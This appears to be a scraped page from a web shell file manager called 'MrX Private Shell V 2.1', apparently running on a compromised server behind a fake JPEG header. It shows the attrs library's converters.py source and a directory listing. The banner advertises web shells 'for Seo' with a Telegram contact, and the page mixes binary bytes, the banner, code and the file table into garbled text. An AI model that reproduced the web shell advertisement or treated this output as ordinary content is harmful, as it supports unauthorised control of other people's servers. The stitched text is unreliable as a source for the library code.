����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
"""
Commonly useful converters.
"""
from __future__ import absolute_import, division, print_function
from ._make import NOTHING, Factory
def optional(converter):
"""
A converter that allows an attribute to be optional. An optional attribute
is one which can be set to ``None``.
:param callable converter: the converter that is used for non-``None``
values.
.. versionadded:: 17.1.0
"""
def optional_converter(val):
if val is None:
return None
return converter(val)
return optional_converter
def default_if_none(default=NOTHING, factory=None):
"""
A converter that allows to replace ``None`` values by *default* or the
result of *factory*.
:param default: Value to be used if ``None`` is passed. Passing an instance
of :class:`attr.Factory` is supported, however the ``takes_self`` option
is *not*.
:param callable factory: A callable that takes not parameters whose result
is used if ``None`` is passed.
:raises TypeError: If **neither** *default* or *factory* is passed.
:raises TypeError: If **both** *default* and *factory* are passed.
:raises ValueError: If an instance of :class:`attr.Factory` is passed with
``takes_self=True``.
.. versionadded:: 18.2.0
"""
if default is NOTHING and factory is None:
raise TypeError("Must pass either `default` or `factory`.")
if default is not NOTHING and factory is not None:
raise TypeError(
"Must pass either `default` or `factory` but not both."
)
if factory is not None:
default = Factory(factory)
if isinstance(default, Factory):
if default.takes_self:
raise ValueError(
"`takes_self` is not supported by default_if_none."
)
def default_if_none_converter(val):
if val is not None:
return val
return default.factory()
else:
def default_if_none_converter(val):
if val is not None:
return val
return default
return default_if_none_converter
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| __init__.py | File | 1.21 KB | 0644 |
|
| __init__.pyc | File | 1.69 KB | 0644 |
|
| __init__.pyi | File | 7.46 KB | 0644 |
|
| _compat.py | File | 4.36 KB | 0644 |
|
| _compat.pyc | File | 6.33 KB | 0644 |
|
| _config.py | File | 514 B | 0644 |
|
| _config.pyc | File | 1013 B | 0644 |
|
| _funcs.py | File | 9.5 KB | 0644 |
|
| _funcs.pyc | File | 8.43 KB | 0644 |
|
| _make.py | File | 64.17 KB | 0644 |
|
| _make.pyc | File | 60.25 KB | 0644 |
|
| converters.py | File | 2.1 KB | 0644 |
|
| converters.pyc | File | 2.87 KB | 0644 |
|
| converters.pyi | File | 351 B | 0644 |
|
| exceptions.py | File | 1.24 KB | 0644 |
|
| exceptions.pyc | File | 2.68 KB | 0644 |
|
| exceptions.pyi | File | 257 B | 0644 |
|
| filters.py | File | 1.13 KB | 0644 |
|
| filters.pyc | File | 2.5 KB | 0644 |
|
| filters.pyi | File | 189 B | 0644 |
|
| py.typed | File | 0 B | 0644 |
|
| validators.py | File | 5.05 KB | 0644 |
|
| validators.pyc | File | 7.26 KB | 0644 |
|
| validators.pyi | File | 528 B | 0644 |
|